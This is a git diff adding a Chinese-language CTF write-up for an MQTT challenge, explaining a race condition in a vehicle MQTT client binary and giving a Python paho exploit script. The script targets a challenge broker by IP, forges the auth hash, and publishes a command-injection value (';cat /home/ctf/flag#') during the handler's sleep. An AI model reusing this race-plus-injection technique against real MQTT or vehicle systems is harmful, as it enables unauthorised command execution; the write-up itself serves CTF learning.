|
| 1 | +# mqtt |
| 2 | + |
| 3 | +> 某车企新来的实习生想要给汽车上的MQTT客户端加强一下性能,却没想到弄巧成拙, |
| 4 | +> 你能试着攻破客户端吗? |
| 5 | +
|
| 6 | +## 文件属性 |
| 7 | + |
| 8 | +|属性 |值 | |
| 9 | +|------|------| |
| 10 | +|Arch |amd64 | |
| 11 | +|RELRO |Full | |
| 12 | +|Canary|on | |
| 13 | +|NX |on | |
| 14 | +|PIE |on | |
| 15 | +|strip |yes | |
| 16 | + |
| 17 | +## 解题思路 |
| 18 | + |
| 19 | +第一次做mqtt的题,一开始依赖都没有,还好国赛有上网区,趁10分钟的机会把依赖下一下。 |
| 20 | + |
| 21 | +题目附件中并没有给出broker的信息,因此broker大概不是考点, |
| 22 | +我们可以直接借助`python-paho`这样的库来操作题目。 |
| 23 | + |
| 24 | +> [!IMPORTANT] |
| 25 | +> 在做题之前,首先要知道mqtt的工作原理,mqtt中存在中心代理broker,负责接受并广播消息, |
| 26 | +> 客户端使用subscribe来“监听”某个指定的主题,然后使用publish将消息广播到所有订阅了该主题的客户端上。 |
| 27 | +> 对于这道题,我们不需要也不能和目标二进制直接建立连接,只能用mqtt机制去打。 |
| 28 | +
|
| 29 | +虽然剥了符号,但是并不难,整体逆向量很小,唯一需要注意的代码就在这里: |
| 30 | + |
| 31 | +<img src="assets/sleep2.png" width="80%"> |
| 32 | + |
| 33 | +在处理每条消息的时候,都会开一条新的线程,这意味着存在着临界资源; |
| 34 | +在处理`set_vin`指令时,check后等待了2秒再继续运行命令,这意味着临界资源能被其他线程修改; |
| 35 | +在check和运行命令时都从全局变量中获取内容,没有先复制到栈上; |
| 36 | +摆明了就是条件竞争,先运行正确的`set_vin`指令,然后在sleep过程中, |
| 37 | +再publish一条消息把`arg`修改掉,就可以成功注入命令了。 |
| 38 | + |
| 39 | +我就说怎么这么多人做出来呢,原来是这么简单的条件竞争,还是条件竞争做少了, |
| 40 | +下次要有看到sleep就想到条件竞争的敏锐感。 |
| 41 | + |
| 42 | +## EXPLOIT |
| 43 | + |
| 44 | +```python |
| 45 | +import paho.mqtt.client as mqtt |
| 46 | +import time |
| 47 | +from json import dumps |
| 48 | + |
| 49 | +broker = '39.96.190.95' |
| 50 | +client_id = "python_client" |
| 51 | +vin = 'XDGV56EK1R8B3W42B' |
| 52 | +hashn = 0 |
| 53 | +for ch in vin: |
| 54 | + hashn = hashn * 0x1f + ord(ch) |
| 55 | +auth = hex(hashn)[-8:] |
| 56 | + |
| 57 | +def on_connect(client, userdata, flags, rc): |
| 58 | + print(f"Connected with result code {rc}") |
| 59 | + client.subscribe("diag") |
| 60 | + |
| 61 | +def on_message(client, userdata, msg): |
| 62 | + print(f"{msg.topic}: {msg.payload.decode()}") |
| 63 | + |
| 64 | +client = mqtt.Client(client_id) |
| 65 | +client.on_connect = on_connect |
| 66 | +client.on_message = on_message |
| 67 | +client.connect(broker, 36985, 60) |
| 68 | +cmd = { |
| 69 | + 'auth': auth, |
| 70 | + 'cmd': 'set_vin', |
| 71 | + 'arg': '123456789', |
| 72 | +} |
| 73 | +client.loop_start() |
| 74 | +client.publish('diag', dumps(cmd)) |
| 75 | +time.sleep(0.5) |
| 76 | +cmd['arg'] = ';cat /home/ctf/flag#' |
| 77 | +client.publish('diag', dumps(cmd)) |
| 78 | +client.subscribe('diag/resp') |
| 79 | +try: |
| 80 | + while True: |
| 81 | + time.sleep(0.5) |
| 82 | +except KeyboardInterrupt: |
| 83 | + pass |
| 84 | +client.loop_stop() |
| 85 | +client.disconnect() |
| 86 | +``` |
0 commit comments